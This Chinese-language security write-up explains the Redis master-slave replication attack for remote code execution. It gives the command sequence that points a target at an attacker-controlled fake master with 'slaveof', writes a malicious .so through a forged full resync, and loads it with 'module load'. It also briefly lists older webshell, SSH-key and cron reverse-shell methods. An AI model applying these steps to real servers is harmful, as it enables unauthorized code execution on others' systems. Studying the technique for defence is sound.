总的下来,利用主从连接断开恢复后全量备份写入 so 进行加载调用
也可以当做任意文件上传,配合之前的利用方式进行攻击
0x0?
之前 redis 常用的利用方式基本三种
- 写 shell 或文件
- 绝对路径
- 可写权限
- 写 ssh 公钥
- 需要相关用户权限
- 写 cron(tab) 反弹 shell
- 目前只能 centos
注意有两点
- 高版本 redis 会在 redis 权限下启动,非 root,对 1、2 限制很大
- 只能 centos,是因为ubuntu、debian等系统会改文件权限为644,cron会显示需要600
新方法的好处
- 无利用save写文件时存在的脏数据影响
- 利用 module 加载 so,只要有兼容系统版本的 so 即可
0x00 Protocol
redis-server 支持两种协议
Plaintext:明文(通过
空格符分割)
SET keyname value\n
Custom:实际利用 RESP 协议
*3\r\n$3\r\nSET\r\n$7keyname\r\n$5\r\nvalue\r\n
0x01 主从模式
redis的主从模式,使用异步复制,slave节点异步从master节点复制数据,master节点提供读写服务,slave节点只提供读服务(这个是默认配置,可以通过修改配置文件slave-read-only
控制)
master节点可以有多个从节点。配置一个slave节点只需要在redis.conf文件中指定slaveof <master_ip> <master_port>
即可
同步步骤
- Slave 端启动与 Master 的连接
- Slave 试图继续部分(或完全)重新同步
- Master 通过发送一段命令流(a stream of commands)来保证 Slave 进行更新, 以便复制 Master 的任何数据变化
流程图
0x02 攻击流程
登录 target 设置为的从服务器
> slaveof <ip> <port>
设置 dbfilename
> config get dbdir > config get dbfilename # 此步骤用于最后恢复 > config set <dbdir>/<evil_so_name>
建立虚假 redis 服务器,监听 tcp 流进行回复
流程大致如下
1. 接收 PING -> 回复 +PONG 2. 接收 REPLCONF -> 回复 +OK 注:这里有两次 1. 从告知监听端口 2. 从告知支持的复制方式 eof 和 psync2 3. 根据版本,回复 +FULLRESYNC <master_replid> <offset> 1. < v2.8 接收 SYNC 2. >= v2.8 接收 PSYNC 4. 发送so 5. 解除主从,避免后续污染
需要注意
len(master_replid)==40
,内容数字+小写
即可offset == 0
,表示从头全量备份- 发送 so 时,满足 Custom 数据流格式即可,即
$ + len(payload) + \r\n + payload + \r\n
P.S. 同步结束后,从会发送
Replconf ack
心跳测试,但与攻击无关传输完毕 so 后,执行
slaveof no one
取消主备设置,避免可能的污染在 target 上执行
module load <dbdir + evil_so_name>
,执行命令
能触发全量备份的关键点在于步骤 2、3 执行时,redis-master 相当于在断线情况下重新上线的,这样从服务器会直接会向主服务器发送 Rsync 确认是否要备份以及备份的方式是差异还是全量,通过传递假的备份内容(即 so)写入到目标机上,再利用 redis module 拓展功能进行加载,实现了命令执行
下面动图中,左侧为 master,右侧为 slave,可以看到在 master 上线后,左下角的窗口接收到了 psync 请求
补一张静态图
利用工具
0x03 临时文件
适用于 config 命令被禁止时,通过稳定的保存路径及文件名传输 so
在syncWithMaster函数中,可以看到临时文件命名规则
注意,作者是通过传输 payload 时,提供一个错误(更大)的长度,即$ + len(payload)+N + \r\n + payload + \r\n
,使从服务器生成临时文件
- Unixtime:精确到秒,可通过
time
命令获取 - Pid:为 redis -> process_id,可通过
info server
获取
但是需要注意临时文件存活时间极短,后会覆盖 dump.rdb
但是我直接module load ./dump.rdb
不也可以么???,尝试简单修改下 exp,可以看图中显示是可以的,所以有点不理解为什么一定要利用短命的 temp
0x04 Redis 集群
学习中
参考资料
- ※ Redis post-exploitation:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
- 演讲视频:https://www.youtube.com/watch?v=Jmv-0PnoJ6c
- 主从模式:https://www.cnblogs.com/lukexwang/p/4711977.html
- ※ (R)sync 源码解析:http://www.web-lovers.com/redis-source-replication.html
- Debug 模式:http://blog.huangz.me/2017/redis-lua-debuger-introduction.html